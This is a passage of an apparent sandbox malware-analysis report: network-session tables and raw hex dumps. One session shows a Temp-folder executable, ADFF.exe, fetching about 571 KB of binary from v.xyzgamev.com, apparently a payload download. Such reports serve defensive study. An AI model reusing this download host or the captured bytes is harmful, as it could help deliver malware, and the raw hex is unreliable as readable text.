9f 41 56 fc 93 c4 a3 5f 9f 5e 3a c5 00 c9 c7 4c 25 63 b2 3f d0 71 f6 63 40 a8 7d 25 be fb 90 a4 1a d8 50 c0 72 71 4d fb 6b a1 d1 c2 e2 6a 1b 27 97 9a 58 58 6d 61 6a 72 b0 27 ff 64 59 f9 9c 80 90 c3 8a 7c d8 37 11 b8 Data Ascii: L+o)u\|MJ^`={hMu^>d {/$dH"]_FRA#kc}"3\|JV\Qk=O@HAIet;[WO.'C)fiWl>e9g#oiJx3%OSP:zE<##6,AV_^:L%c?qc@}%PrqMkj'XXmajr'dY\|7
2022-08-30 13:56:29 UTC	1082	IN	Data Raw: e1 99 f8 b1 cb cf c4 45 13 39 c6 f2 f5 cd 0a dc 1a 40 04 ce e0 82 04 70 75 3b ff bf f2 0d a8 06 ea 7f 3d ad 17 5d 4f e4 92 1c fd 49 97 00 da 20 99 e8 ca c4 84 65 84 44 b2 c4 e7 64 22 fc 1a b0 89 02 f8 43 e7 da b3 8a 00 6c f9 d4 9f 3d ac 08 e1 ea 9f 3b cf 11 c2 15 12 66 0a 51 40 c1 ac 0b 28 46 07 07 1b 61 7f 88 9d 3c 0c 60 df ad ef 3d b4 ce 4b 7b 83 15 35 22 b9 e4 b1 c0 46 20 07 e1 04 22 bb 03 50 ca f6 89 24 57 c9 58 b6 0b 75 e1 fb f2 89 25 dc 73 7c 11 5f f9 d2 c3 d8 b6 7b 06 cf bf 70 27 5e 71 f1 0e 5c 32 99 63 73 b7 3d b4 8d 59 56 f3 7d 30 7c 34 30 34 b8 9d 1f 34 29 b2 8f bc 6b 54 7d 7a 61 0f b1 7c d6 c3 6f 13 70 95 9e 7c 3c 8c 7c d1 fa 7b 45 60 1b 7b 99 10 71 67 fe 75 00 87 51 80 7f 4d 2c fb ac 26 00 5b 6e 79 d7 23 4c 08 d7 01 c0 b7 fe cc 39 57 8b ba 17 Data Ascii: E9@pu;=]OI eDd"Cl=;fQ@(Fa<`=K{5"F "P$WXu%s\|_{p'^q\2cs=YV}0\|4044)kT}za\|op\|<\|{E`{qguQM,&[ny#L9W
2022-08-30 13:56:29 UTC	1086	IN	Data Raw: 3e ff 1b 5e 39 ff 1e 64 3e ff 32 76 53 ff 1d 64 3e ff 1c 5f 3a bf 1a 5b 35 1f 00 00 00 00 00 00 00 00 c0 97 48 ff bd 93 46 ff ba 90 43 ff b8 8c 41 ff b5 87 3e ff bf 9a 5d ff dc d5 c3 ff e0 de de ff e0 de de ff e0 de de ff e0 de de ff dc d2 bb ff 9b 62 21 ff 98 5d 1d ff 95 58 19 ff a8 74 38 ff 9d 64 22 ff 9a 5f 1f ff 96 59 1b ff 92 54 17 ff 8e 4e 13 ff 88 49 0e ff 82 42 0a ff 7b 3c 06 ff 68 31 03 3a 00 00 00 1b 00 00 00 09 00 00 00 00 39 ab 80 3f 36 a4 79 6f 34 9d 74 af 31 97 6e ef 2f 91 68 ff 2d 8c 63 ff 2a 86 5e ff 28 80 58 ff 26 7a 53 ff 24 74 4e ff 22 6f 48 ff 1f 69 43 ff 1d 63 3e ff 1f 68 42 ff 33 79 56 ff 1f 67 41 ff 1d 61 3c ff 1a 5b 36 ff 18 56 32 7f 00 00 00 00 c2 9b 4a ff bf 97 48 ff bd 93 45 ff ba 8f 43 ff bf 99 56 ff e4 e0 da ff e6 e5 e4 ff e6 Data Ascii: >^9d>2vSd>_:[5HFCA>]b!]Xt8d"_YTNIB{<h1:9?6yo4t1n/h-c*^(X&zS$tN"oHiCc>hB3yVgAa<[6V2JHECV
2022-08-30 13:56:29 UTC	1089	IN	Data Raw: 34 32 66 33 0d 0a 82 3c ff b3 87 3f ff b5 89 40 ff b7 8b 41 ff b8 8c 41 ff b8 8c 41 ff b7 8b 41 ff b7 8a 41 ff b8 8d 46 ff be 96 5c ff 00 00 00 00 00 00 00 00 00 00 00 00 a2 ec d5 ff 9d e9 d1 ff 98 e6 cd ff 93 e2 c9 ff 8d df c5 ff 88 dc c0 ff 82 d8 bb ff 7c d4 b6 ff 7b d3 b5 ff 79 d2 b4 ff 7e d4 b7 ff 55 77 da ff 4a 5c e1 ff 36 49 db ff 33 45 d7 ff 2f 42 d4 ff 2c 3e d0 ff 29 3a cd ff 25 37 c9 ff 22 33 c5 ff 1e 2f c2 ff 1b 2c be ff 18 28 ba ff 14 24 b7 ff 11 20 b3 ff 0e 1d af ff 3f 4c c9 ff 18 29 bb ff 15 25 b7 ff 11 21 b2 ff 0e 1c ad ff 11 19 82 ff 51 36 37 ff 90 5c 26 ff 99 68 2c ff a1 71 31 ff a7 79 36 ff ac 7e 39 ff b0 83 3c ff b3 86 3e ff b5 89 3f ff b6 8a 40 ff b6 8a 40 ef b6 89 40 af b6 89 40 6f 00 00 00 00 00 00 00 00 00 00 00 00 a7 ef d8 ff a2 eb Data Ascii: 42f3<?@AAAAAF\\|{y~UwJ\6I3E/B,>):%7"3/,($ ?L)%!Q67\&h,q1y6~9<>?@@@@o
2022-08-30 13:56:29 UTC	1093	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 95 f0 7f 63 8a ed ff 5d 83 eb ff 56 7a ea ff 50 73 e8 ff 4b 6c e6 ff 47 66 e5 ff 43 60 e4 ff 40 5c e2 ef 3f 59 e2 af 3d 56 e1 7f 3c 53 e1 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lc]VzPsKlGfC`@\?Y=V<S?
2022-08-30 13:56:29 UTC	1097	IN	Data Raw: b3 f6 ff 80 a8 f3 ff 78 9d f0 ff 8c a9 f2 ff 87 a4 f1 ff 7e 9d ef ff 76 98 ef ff 55 7c ea ff 79 8f ec ff 75 82 e4 ff 4a 59 d7 ff 3c 4c d0 ff 30 40 c9 ff 25 35 c1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 d6 fd 7f 9b cf fc ff 9d cb fa ff ab ce fa ff a4 c8 f8 ff 99 bf f7 ff 73 a1 f2 ff 63 91 ef ff 59 84 ec ff 51 79 ea ff 4a 6f e8 ff 45 66 e5 ff 4f 6a e5 ff 79 88 e6 ff 4f 5e d7 ff 41 50 d0 ff 33 43 c8 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf e5 fe 5f c5 e5 fd ff b4 d8 fc ff Data Ascii: x~vU\|yuJY<L0@%5scYQyJoEfOjyO^AP3C_
2022-08-30 13:56:29 UTC	1102	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd e3 fe f9 bb db fc ff a7 c7 f8 ff 62 8e ee ff 4f 76 e9 ff 41 62 e5 ff 79 8b eb ff 85 90 e6 ff 46 53 ce 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 89 b5 f6 92 6e 98 f0 ff 57 7d ea ff 47 68 e6 ff 3e 5a e2 ff 3a 51 e0 ef 3c 51 e0 a8 54 65 e5 3e 00 00 00 00 00 00 00 00 00 00 00 00 ff c3 00 00 fe 01 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 80 07 00 00 c0 07 00 00 f0 07 00 00 f0 07 00 00 f0 07 00 00 f8 07 00 00 00 00 01 00 0d 00 30 30 08 00 01 00 04 00 68 06 00 00 01 00 20 20 08 00 01 00 04 00 e8 02 00 00 02 00 18 18 08 00 01 00 04 00 e8 01 00 00 03 00 10 10 08 00 01 00 04 00 28 01 00 00 04 Data Ascii: bOvAbyFSnW}Gh>Z:Q<QTe>00h (
2022-08-30 13:56:29 UTC	1106	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 0a Data Ascii:
2022-08-30 13:56:29 UTC	1106	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49808	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\ADFF.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-30 13:56:44 UTC	1106	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-30 13:56:44 UTC	1106	IN	HTTP/1.1 200 OK Date: Tue, 30 Aug 2022 13:56:44 GMT Content-Length: 571228 Connection: close Last-Modified: Mon, 29 Aug 2022 04:55:07 GMT ETag: "8b75c-5e75a11515fef" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IRFpbnAuoP3F1JTbnrn%2Bh%2BIKw1PaPuG32eD5qmXFd8OU9YXvyrXb%2FVznq7WZ%2Bk5fB%2F%2FbZtnV0Tld1zHAzZcmLA%2B9zn5i8TPBkJATPI3epS8XphR0nkxDIFpM1U6YmZeUdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 742e080fc889690f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-30 13:56:44 UTC	1107	IN	Data Raw: 4f 2c cc 00 48 68 a2 6a 1e ff 91 3f e8 eb cf 4f 7d 33 e8 e1 38 76 2c 29 63 6d 6c 91 54 2f f0 cc da e3 13 56 f7 72 dc 93 17 ef b9 d6 f6 6e a7 3f 79 0d 18 6f 7a 23 56 af da b4 fe ed f5 98 4e ff 7b 1f d0 a6 ee ed e2 21 f0 cc cb f9 59 17 22 e3 9a d9 29 76 85 54 92 2e d7 2e dd 9b 1f e8 dc a4 ee 55 62 a7 56 d4 d4 2a db a9 29 c5 95 9d 38 94 ca 85 2c 17 25 16 7b 34 c2 79 57 72 41 ec 61 33 36 26 1a 18 2c e3 bc fe 18 56 f0 be ea f2 a2 6c 39 fc 79 0d c0 a4 e6 33 39 fc 79 0d ca 07 77 57 a6 6a f4 6f 78 ae 06 0d f6 e7 49 9f 9c 3b 86 aa 25 f7 11 70 b7 62 0c e8 3e da cb 6a a7 82 b6 92 a6 6a 1e 88 61 77 54 92 dc 72 a2 86 a6 6a 2e a6 12 17 6f f7 2f c5 8e 37 d4 17 dd 9a 2c 3d 75 6b a7 e1 69 df d2 2f 68 e1 eb a3 a6 6a 2a 6a ee 50 a6 6a 09 c4 88 3f e2 a5 2d 58 11 6b a7 d2 52 Data Ascii: O,Hhj?O}38v,)cmlT/Vrn?yoz#VN{!Y")vT..UbV)8,%{4yWrAa36&,Vl9y39ywWjoxI;%pb>jjawTrj.o/7,=uki/hjjPj?-XkR
2022-08-30 13:56:44 UTC	1107	IN	Data Raw: 6f db 94 e8 16 15 d3 c0 79 8b ca 3d 7c 36 16 cb 25 d7 b3 d0 7a 2f af e9 18 f8 08 e8 12 13 73 d7 7f ba e6 3e a5 6a db 2d 73 f3 6b d7 da 2f 13 3a e9 1b d6 ff d5 a2 12 11 fb d7 c9 3e 7c 2f 81 0e d6 68 a7 16 e0 be 32 2f 13 14 52 e6 84 c5 2d f3 1b c5 0d c7 00 6b a2 ba c9 d2 39 fc 79 0d ca 07 ef ce a7 6a c3 af 36 5a a7 6a f4 6f c2 af d8 ae 06 0d 6c 26 fc fa 25 f3 55 44 e3 2e 60 e8 02 c6 eb 26 eb e1 74 3e 22 96 36 67 fa de a7 6a 2c a2 d4 d1 e2 2f 57 3d 00 fa 35 a6 16 15 6e 14 f1 00 2e be 0a 11 58 0e cf 99 68 3e cb 9f 6b c7 c4 27 e8 96 2e c8 7c 2f 68 e1 a5 ec a7 6a 66 44 58 f3 53 ef d4 1f 60 26 2a e4 f4 c4 59 e7 d4 bc 0e 14 29 55 5d 62 63 5b fa 04 16 14 1b 15 27 28 86 89 6c e5 db af 2b f1 c5 bc 0a a9 62 17 69 d3 d6 db 8b f3 5b e7 d4 a6 c0 49 66 21 53 e7 d4 96 c0 Data Ascii: oy=\|6%z/s>j-sk/:>\|/h2/R-k9yj6Zjol&%UD.`&t>"6gj,/W=5n.Xh>k'.\|/hjfDXS`&*Y)U]bc['(l+bi[If!S
2022-08-30 13:56:44 UTC	1109	IN	Data Raw: b1 38 95 67 31 b4 af e8 a6 1a 91 6a 2f 6f 25 a8 af e8 ae 0e de 08 c0 12 01 fc 33 7b d7 ca 3d 7a e1 a0 e9 a7 6a 2c a4 1a 11 41 ff 57 e9 1c 52 d3 5c 66 8c 36 9e 2c 29 e4 e0 23 2f 1e 16 ad d2 d0 41 49 ec e4 a8 a6 af 31 68 0a c0 1e 03 e2 de 8b b9 61 d3 d8 b4 16 07 2a 7f 3d b4 02 11 61 df 1d a1 7b cf 96 49 47 6b 6e 29 7b cb d8 b4 1a 01 1d 53 d2 db e0 2a 70 f5 2f ec e2 df 54 67 fb 36 e2 4c 14 c9 a0 6a 6b 82 f5 94 e4 d5 53 3d dc 53 cc 68 5a c2 0e 42 f5 2f 12 0c e7 6a a2 c3 8f d5 cf ea 27 6a f4 6f 0e c0 2e 85 54 41 4f 5a 54 ea bc 6e a6 bf c9 d2 39 1c fe 85 a4 32 35 fd a2 b7 c3 1b 6a 67 af 5c 91 62 ae 5c 7c 0b 58 1a a7 e8 42 43 ea 6d a1 2a df 56 af 05 41 a2 0a 8a a5 49 8d 61 a6 65 a9 6a 85 4c a3 6a a5 10 dc 1f 6f b7 c6 68 a7 7a 8a d7 37 3a 67 e3 2f ef 22 ee a2 63 Data Ascii: 8g1j/o%3{=zj,AWR\f6,)#/AI1ha=a{IGkn){Sp/Tg6LjkS=ShZB/j'jo.TAOZTn925jg\b\\|XBCm*VAIaejLjohz7:g/"c
2022-08-30 13:56:44 UTC	1110	IN	Data Raw: fb 50 f9 ea 8b 67 4f 6c 8c b6 71 bd 5a af c6 b1 a7 6a e5 76 27 a8 a8 68 e8 77 e6 c4 4d 0b e1 5c d7 18 ff d5 17 36 69 24 5d 25 ad 5c 5c 99 54 99 f0 30 8e 42 be 03 d7 6e 47 8b 68 71 7c 25 67 3e 7c a3 96 8f ac fb 6f cb c2 c6 9a 47 be 0a e7 5c 83 16 cd 3a f3 91 8f cd 96 5c 5b 94 da e9 68 33 a6 26 f6 64 b7 f1 92 ca b6 4a 0c a4 0a bf 5a 2a 1d 25 e7 67 60 e3 f5 ae 16 1b 97 3a cb 30 f9 7a 60 80 a2 da 07 6e bc b5 75 f1 68 ce 59 c6 36 7b 68 e3 01 8b 97 78 54 85 e2 15 23 d8 1b 65 14 1d f3 ba 51 3c 13 71 8b eb f5 7f 92 7c 96 9f 55 0a c0 ed 52 85 62 6b ca 99 3c 71 c7 8b b6 8d cf 6b 7a 21 90 21 13 1a c2 5e 76 90 fc b0 69 3f d7 4d 95 0b 9b c9 f5 74 52 51 69 7d 4a 57 a7 4a 04 d2 9c 1f d8 15 d1 79 b7 6a 22 19 25 ec de ac e6 de 1f b9 39 45 d5 8d b1 06 6b 23 a3 a1 25 fd 68 Data Ascii: PgOlqZjv'hwM\6i$]%\\T0BnGhq\|%g>\|oG\:\[h3&dJZ*%g`:0z`nuhY6{hxT#eQ<q\|URbk<qkz!!^vi?MtRQi}JWJyj"%9Ek#%h
2022-08-30 13:56:44 UTC	1111	IN	Data Raw: 5a 9f 62 b5 71 a0 a4 6c 6d f2 b4 c0 05 c8 92 b3 39 7f bc f6 ef 63 df da ef 7c ce d1 50 54 f1 77 04 42 37 38 b8 b7 e0 68 3f 3f e2 e2 3c e2 33 1e 1c 30 0e 94 95 d1 be f6 e5 e4 5b df e3 da eb d8 11 0f 35 2f 3c 76 68 a5 6a a8 d3 91 7e 2c 75 a7 7a 3c 94 da 9d 7c cb 28 18 df 63 fd 39 84 a1 ed f6 9b 68 a7 59 46 3b e0 aa 28 19 5f 53 cb 33 a4 e3 fa b1 a7 6a a7 e1 e3 8e 7b 17 29 60 a9 e7 63 22 92 d6 6d a0 6e 2b 58 ae c9 33 d9 f7 a1 42 67 6b be cb cc f4 88 18 40 76 4c ab 9c 96 2a 23 e6 2b 69 66 66 43 50 76 66 ab 67 f9 d7 c3 6b 23 43 db fe 22 bc b2 2c 92 d2 a2 ee 30 a1 6d 18 82 f1 73 ea 68 24 2d 77 fb 32 ba 68 e1 aa 63 3c 26 18 76 d1 d5 9b 63 ab a8 24 3c bb 67 eb 70 18 f4 4a d7 8f ed 08 45 28 ca f6 0e a3 29 18 2e 86 c4 a9 74 54 aa 9e 16 ee 10 f7 cc 13 66 9f e2 6f 11 Data Ascii: Zbqlm9c\|PTwB78h??<30[5/<vhj~,uz<\|(c9hYF;(_S3j{)`c"mn+X3Bgk@vL*#+iffCPvfgk#C",0msh$-w2hc<&vc$<gpJE().tTfo
2022-08-30 13:56:44 UTC	1113	IN	Data Raw: ca ab c7 0a 60 2b 91 fc 80 e1 99 f8 80 d3 3b 4f 59 80 8e 96 79 7c 68 2b e1 4e 42 e0 ea 6b e6 ce 41 ca c2 ac e6 50 3f 4f 60 ea 11 9e a3 34 3a cb de f0 26 8a 5c 31 f3 72 43 37 d2 84 88 3d 85 10 c1 ca 8e 8b a2 39 19 d9 cb 7c c3 82 5f db 16 3f af 31 a2 6b 7b 18 d5 66 29 12 df ee 9d 8c f6 ef e2 de df 62 64 ab 80 4d 2a e9 ff c5 09 f3 67 e9 ab 7c 3c ed b5 a4 f6 d8 14 4d 82 d0 1f da 1d ec a5 b4 f6 e3 63 11 6d 74 44 3a e9 75 02 cc a5 66 27 68 67 74 f6 5b 16 7b 33 86 4f 56 ae 0e f9 32 f5 06 5f 2a 57 20 cc 01 cd 02 4b 2e 18 25 d1 fb f5 2f 1e 34 b0 f2 5c 51 6f 1b 77 68 74 bb 16 0e 72 eb 5f f0 ce ea 53 a3 c0 9a 51 bd 2b e3 e2 d2 0b 35 2a dc 26 f7 63 22 e7 08 f4 3c b1 5b 86 aa 47 4a ae 9a 37 32 b2 4e 95 90 eb 2f e7 b5 f7 fc ff f5 72 20 77 3a eb 43 90 2f a0 7f d2 5b 2c Data Ascii: `+;OYy\|h+NBkAP?O`4:&\1rC7=9\|_?1k{f)bdMg\|<McmtD:uf'hgt[{3OV2_W K.%/4\Qowhtr_SQ+5*&c"<[GJ72N/r w:C/[,
2022-08-30 13:56:44 UTC	1114	IN	Data Raw: ff 48 c5 0c e9 d7 0a d5 67 20 14 33 18 66 99 16 e2 ea 6e 77 e5 7b 57 c3 10 a4 16 5b 5d 6a e1 e6 1f 1a a4 88 89 6d 13 9f e3 69 41 c4 75 f6 1b 98 61 b2 fc e1 e3 2d 13 1c 65 b8 3b a6 25 b9 fc b0 fa a7 6a a7 99 5b 1b 98 7b d7 2c ce b3 f6 4d 07 0a c8 d2 54 a9 ae e5 96 f5 8f 69 23 72 3c e9 67 b5 79 53 5c ea c4 76 4b 75 07 42 a8 e2 9b df a9 79 22 7b b3 f5 ab 51 1b 7e 36 2f 13 1e b4 29 1f 41 4a 46 a5 e9 bc 36 67 a9 62 4c 83 40 8d e1 2e 2c a3 a9 e4 ae f3 d2 a2 84 92 d5 2f 6e fe 7f 63 62 0e b9 a7 6a d8 2c 26 29 a3 3a 1f 69 4c 46 83 e9 a9 cb 83 65 c2 00 f7 b1 3c 72 50 c4 ee 75 ad 77 48 c7 f7 64 a8 64 27 b0 94 64 cc 39 f5 3a 7c d1 68 c3 d5 c5 e3 a1 4b d4 f0 5f 63 71 4e 5b 62 84 34 64 3e 76 9d 50 24 ef 2a e9 1f 8a 08 c4 fe 61 8a 4d a1 45 8c 7e b8 27 12 19 ea f3 a6 07 Data Ascii: Hg 3fnw{W[]jmiAua-e;%j[{,MTi#r<gyS\vKuBy"{Q~6/)AJF6gbL@.,/ncbj,&):iLFe<rPuwHdd'd9:\|hK_cqN[b4d>vP$*aME~'
2022-08-30 13:56:44 UTC	1115	IN	Data Raw: 7f bc f2 a2 7a f2 f9 b1 d3 56 64 af fd fd dd 9b af 18 d1 e5 2a 87 4e e3 ea fc cc 89 0d 2e 52 a8 b0 bc 66 bd 71 e1 6a 3c 3a e3 e1 13 5f a5 dd 3d ee 06 63 fa dc 99 f4 2f 29 fb 8d c2 a2 d4 4f 0a ea 19 d9 11 a1 f5 6d 62 47 cf ee e7 66 d5 a6 6b a7 ea d7 87 9c 8a 9e 14 cd 0d cd 8c 2e 0c 3c f1 79 f3 18 78 fd ce 26 10 2c 1c ce c0 57 29 fa ce 22 8f 61 57 32 10 2d ed f4 ca 2f 9d c9 0e a1 08 b6 58 cb 35 94 d9 0c 03 ec e8 14 94 52 90 0e 1d 90 48 a4 60 27 2f 68 2b e0 63 24 e3 9c 05 a4 68 5e 2a 4f c7 6b e9 49 23 e5 7c f7 2c d0 7c 48 ef d3 13 76 dc c6 6c a4 37 b1 a6 2b 0b 3b 5f 79 ed 09 9a 7e b9 3a db 58 fe 69 23 0b b0 e0 96 41 3a d0 5e 1e e3 e3 eb 86 89 99 55 a5 0a f9 26 cf 86 90 b4 cd 1f 80 c6 6d d7 60 90 15 3c 82 41 44 21 dd 97 d1 3b 07 e9 5e b0 f3 3e 0f 29 3e d3 5b Data Ascii: zVdN.Rfqj<:_=c/)OmbGfk.<yx&,W)"aW2-/X5RH`'/h+c$h^OkI#\|,\|Hvl7+;_y~:Xi#A:^U&m`<AD!;^>)>[
2022-08-30 13:56:44 UTC	1117	IN	Data Raw: 25 45 56 c0 87 3e d7 b6 a1 fc e2 17 af 4a bb 45 e9 1e 51 06 90 ad b9 c3 8e 5f a3 fd 51 3a 7d eb 7c 99 28 4b 1e 74 ef f5 3d 27 08 d6 b3 2d 0c da 05 c3 bd 1a 94 e4 32 3e 1f ca b3 7c 91 40 cb 94 6d 2e f1 cc 8b 26 e7 28 e4 67 6d dc 90 06 31 5a 3c 3e a4 f0 ba 4a ce 52 51 f4 6a 9e d6 35 bd e2 ab b0 3e 93 13 87 4b 79 f7 08 cc e3 3b 57 9d 50 81 9c 1b e6 01 bc 2d 10 f2 bb 0e b7 3e 90 39 f3 3f f9 a2 34 78 f9 11 c4 76 d8 09 87 29 c4 4e 28 a2 c4 ca 61 0c d7 c1 44 83 76 0c 51 f2 bf 7b 61 eb cd f7 16 e3 50 20 93 0c 42 92 ca 7f d0 16 24 e9 ec 35 b8 b9 12 3b 1e a1 dd 46 e7 c5 4d fb 93 12 90 e3 e5 d6 c7 5b 61 b7 45 c3 68 1c 27 f9 a0 40 f6 95 04 68 a6 39 74 fa b7 6a f0 6e a4 d2 8b 0a 01 68 af e9 62 14 67 a0 14 ad ed ed 24 13 ee 5a d1 14 22 a6 a6 aa ae a2 de b9 4b aa 21 f9 Data Ascii: %EV>JEQ_Q:}\|(Kt='-2>\|@m.&(gm1Z<>JRQj5>Ky;WP->9?4xv)N(aDvQ{aP B$5;FM[aEh'@h9tjnhbg$Z"K!
2022-08-30 13:56:44 UTC	1118	IN	Data Raw: f5 96 23 0e 6f 27 ec e2 b7 92 51 da 4a a7 28 cd 6a 6f 82 99 51 2f ea 63 d2 15 c6 30 c1 f8 8b 1c 79 38 36 2d 6b e2 b7 56 5e 37 63 6a 38 38 ee af 65 29 6c 8f 82 8c 49 8d 52 6e 7e a3 e9 01 8b e7 5d 05 3c 11 57 10 dc 63 e7 7a 08 a3 79 db 0a 61 48 85 9f eb f5 ff 29 e6 5a 00 b1 60 eb 3d c6 1a 2e d7 a2 99 66 4b 80 0b 48 e5 49 64 59 72 e7 2a 58 e2 dc 8e 20 07 a8 63 27 29 67 0c da 89 2f 15 50 b7 ee 89 e8 aa 60 ea f9 2b a6 6f 1c c2 ee 8b 54 fa c0 76 d4 b4 fa e1 24 86 43 6d 1e de f3 bf e4 a8 5e b1 df b1 dc 9c a6 e2 2e 67 84 d0 bd 8f aa 40 e5 7a 3a a5 85 0b f6 d2 8e a1 ad cd 61 6b 05 ec ef 66 a6 69 5a 80 aa d2 22 89 61 2e c7 42 c6 56 7d ae ec 5e 1a a3 c7 5e b7 03 ce 6f 7a 68 35 dd a7 ca f0 67 4a 15 50 22 64 93 63 3e 2d 7e aa f0 24 8a b4 9f a4 6b a9 c2 ad ad 41 e1 dd Data Ascii: #o'QJ(joQ/c0y86-kV^7cj88e)lIRn~]<WczyaH)Z`=.fKHIdYr*X c')g/P`+oTv$Cm^.g@z:akfiZ"a.BV}^^ozh5gJP"dc>-~$kA
2022-08-30 13:56:44 UTC	1119	IN	Data Raw: 6a f7 09 4f 76 25 2d 5d 02 4c ee 0b 6a 9e 01 cc 80 26 e2 73 c3 ac 80 7a 30 32 65 db 19 93 5b b2 be 32 b7 19 56 3c b6 81 02 d6 2d d1 d5 8e 43 4c 0b 22 2a ad ba 5d fa 2c 19 d6 d7 ee ff 7f 4c b6 8d 2b e7 df 78 59 1f 5b 1b 6f df 07 6d 7d a2 b2 c2 0f c5 2d bf 03 aa c1 cc ac 69 2e 66 2e 60 bd eb 0f 16 1a e4 91 f4 fa 2e 74 81 6f de 41 f0 58 1f 2e d6 6a d3 d0 d6 4d 7d b1 0e d5 53 6c ec ce 1f 8f 43 69 ce 96 3d 83 19 93 92 3b 99 84 db 2d a1 17 13 5b e3 b0 82 54 9f 29 f1 a0 f0 2e 5d 61 cd fa d2 1a 04 4e b5 a5 70 e5 ef 9a 90 dd 10 02 84 73 bc 27 2e 40 c7 36 35 6f a1 a2 c3 0b a9 e7 ab 25 ed 9b 51 e2 d7 2d 92 a6 9c 32 6b ec 95 4a d4 fe b6 11 95 4a 92 52 42 af a4 8b 8f 27 19 25 01 3b 12 5c 6b d5 17 ff c3 8f 8e 62 ff 36 51 8f 87 c1 42 b6 a9 12 ad 01 de 58 23 e0 1a c2 4b Data Ascii: jOv%-]Lj&sz02e[2V<-CL"*],L+xY[om}-i.f.`.toAX.jM}SlCi=;-[T).]aNps'.@65o%Q-2kJJRB'%;\kb6QBX#K
2022-08-30 13:56:44 UTC	1120	IN	Data Raw: 64 29 63 ed e5 af a3 60 d8 1f 79 87 54 41 49 74 7c 29 a4 22 6e ee e2 a5 2c 4c 05 5e 87 c6 5b 2f 86 c7 2b 4b e1 9c 51 ac 8c f0 d0 37 8c fc 3e 24 76 f5 8a 08 76 f4 79 af a3 4b 0b f8 cc 78 43 62 af 6a 01 5e 3f e6 bc 76 e5 0b d7 7d 1f 80 f2 aa 6c ac 1e 4a f6 2d 25 c7 dc b8 29 ed 2e 71 28 aa 1f 42 f5 78 ef 27 92 da f3 26 bc 97 d2 63 83 4c 84 40 2a 71 b0 e9 a9 5b 93 e3 27 a7 fc 71 ab e9 a9 47 8c ed ab e9 a9 43 2a c8 20 62 28 2e 70 fe 96 20 ed ee 97 c4 f7 80 f6 ae 08 45 f9 b1 c2 ca 19 6b a7 c4 7d 6c 2b b9 1f 00 98 02 a3 b2 65 27 4b df fa a4 96 6a 0b b2 dc 65 4d 09 dd a6 6f a7 69 51 57 a8 e5 76 fe e9 f6 e3 f5 64 23 6c 7a 77 61 2f e7 e3 64 20 77 39 f1 b7 59 17 22 62 f6 49 f0 35 a7 c2 7b dc 1b 90 8a fe e1 ee f7 b3 a3 67 d2 60 a7 6a 32 d7 32 57 5c 6e 25 38 b4 20 ea Data Ascii: d)c`yTAIt\|)"n,L^[/+KQ7>$vvyKxCbj^?v}lJ-%).q(Bx'&cL@q['qGC b(.p Ek}l+e'KjeMoiQWvd#lzwa/d w9Y"bI5{g`j22W\n%8
